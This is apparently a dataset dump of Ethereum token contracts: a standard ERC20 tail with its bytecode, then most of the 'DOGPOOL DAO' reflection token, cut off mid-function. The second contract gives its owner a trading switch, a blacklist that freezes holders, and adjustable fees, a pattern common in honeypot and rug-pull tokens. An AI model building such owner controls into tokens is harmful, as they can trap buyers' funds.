spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Burnable is Context, ERC20 { function burn(uint256 amount) public { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DHFToken is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, Ownable { constructor() ERC20Detailed("DHFToken", "DHF", 18) public { } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806379cc6790116100b8578063986502751161007c57806398650275146105ca578063a457c2d7146105d4578063a9059cbb1461063a578063aa271e1a146106a0578063dd62ed3e146106fc578063f2fde38b1461077457610137565b806379cc6790146104495780638da5cb5b146104975780638f32d59b146104e157806395d89b4114610503578063983b2d561461058657610137565b806339509351116100ff57806339509351146102ed57806340c10f191461035357806342966c68146103b957806370a08231146103e7578063715018a61461043f57610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806323b872dd14610243578063313ce567146102c9575b600080fd5b6101446107b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b604051808215151515815260200191505060405180910390f35b61022d610878565b6040518082815260200191505060405180910390f35b6102af6004803603606081101561025957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b6102d161095b565b604051808260ff1660ff16815260200191505060405180910390f35b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610972565b604051808215151515815260200191505060405180910390f35b61039f6004803603604081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b6103e5600480360360208110156103cf57600080fd5b8101908080359060200190929190505050610aa0565b005b610429600480360360208110156103fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab4565b6040518082815260200191505060405180910390f35b610447610afc565b005b6104956004803603604081101561045f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c37565b005b61049f610c45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e9610c6f565b604051808215151515815260200191505060405180910390f35b61050b610cce565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054b578082015181840152602081019050610530565b50505050905090810190601f1680156105785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c86004803603602081101561059c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d70565b005b6105d2610de1565b005b610620600480360360408110156105ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df3565b604051808215151515815260200191505060405180910390f35b6106866004803603604081101561065057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec0565b604051808215151515815260200191505060405180910390f35b6106e2600480360360208110156106b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ede565b604051808215151515815260200191505060405180910390f35b61075e6004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610efb565b6040518082815260200191505060405180910390f35b6107b66004803603602081101561078a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f82565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061086e610867611008565b8484611010565b6001905092915050565b6000600254905090565b600061088f848484611207565b6109508461089b611008565b61094b8560405180606001604052806028815260200161200660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610901611008565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bd9092919063ffffffff16565b611010565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610a1b61097f611008565b84610a168560016000610990611008565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157d90919063ffffffff16565b611010565b6001905092915050565b6000610a37610a32611008565b610ede565b610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611fb56030913960400191505060405180910390fd5b610a968383611605565b6001905092915050565b610ab1610aab611008565b826117c0565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b04610c6f565b610b76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c418282611978565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cb2611008565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d665780601f10610d3b57610100808354040283529160200191610d66565b820191906000526020600020905b815481529060010190602001808311610d4957829003601f168201915b5050505050905090565b610d80610d7b611008565b610ede565b610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611fb56030913960400191505060405180910390fd5b610dde81611a47565b50565b610df1610dec611008565b611aa1565b565b6000610eb6610e00611008565b84610eb1856040518060600160405280602581526020016120de6025913960016000610e2a611008565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bd9092919063ffffffff16565b611010565b6001905092915050565b6000610ed4610ecd611008565b8484611207565b6001905092915050565b6000610ef4826006611afb90919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f8a610c6f565b610ffc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61100581611bd9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611096576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120ba6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f6d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806120956025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611313576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f026023913960400191505060405180910390fd5b61137e81604051806060016040528060268152602001611f8f602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bd9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611411816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061156a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561152f578082015181840152602081019050611514565b50505050905090810190601f16801561155c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156115fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6116bd8160025461157d90919063ffffffff16565b600281905550611714816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611846576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120746021913960400191505060405180910390fd5b6118b181604051806060016040528060228152602001611f25602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bd9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190881600254611d1f90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61198282826117c0565b611a438261198e611008565b611a3e8460405180606001604052806024815260200161205060249139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006119f4611008565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bd9092919063ffffffff16565b611010565b5050565b611a5b816006611d6990919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611ab5816006611e4490919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061202e6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f476026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611d6183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114bd565b905092915050565b611d738282611afb565b15611de6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e4e8282611afb565b611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611fe56021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582038ae4d301c918e45ca9780b2eb0dd811d03840132dc336e4ef13e521d2646a4264736f6c634300050c0032
{"success": true, "error": null, "results": {}}
8,361
0x39ed667742b197422c0996ff4dbc93b5f6e9ef9d
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ /** *Submitted for verification at Etherscan.io on 2022-04-10 */ /** *Submitted for verification at Etherscan.io on 2022-04-10 */ /* WHALES DEGENERATES TRADING SAVANTS HUNTING FOR GEMS BAGS THEY COULD FLAUNT STAYING UP NIGHTS DODGING THE BOTS HONEYPOTS MOONSHOTS BOOM JACKPOT NOW THEY TRADE FOR THE LAUGHS THEY TRADE FOR THE STORIES NOW THEY TRADE FOR YOU THEY TRADE FOR THE GLORY WELCOME TO THE NEW SCHOOL JOIN US IN THE DOGPOOL "You're in the deep end now, kid." */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DOGPOOLDAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DOGPOOL DAO"; string private constant _symbol = "DPD"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 2; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 2; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xD8c73F9C85F5bA063C664Fb2f477B364e315b1B0); address payable private _marketingAddress = payable(0xD8c73F9C85F5bA063C664Fb2f477B364e315b1B0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50000000 * 10**9; uint256 public _maxWalletSize = 150000000 * 10**9; uint256 public _swapTokensAtAmount = 50000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = 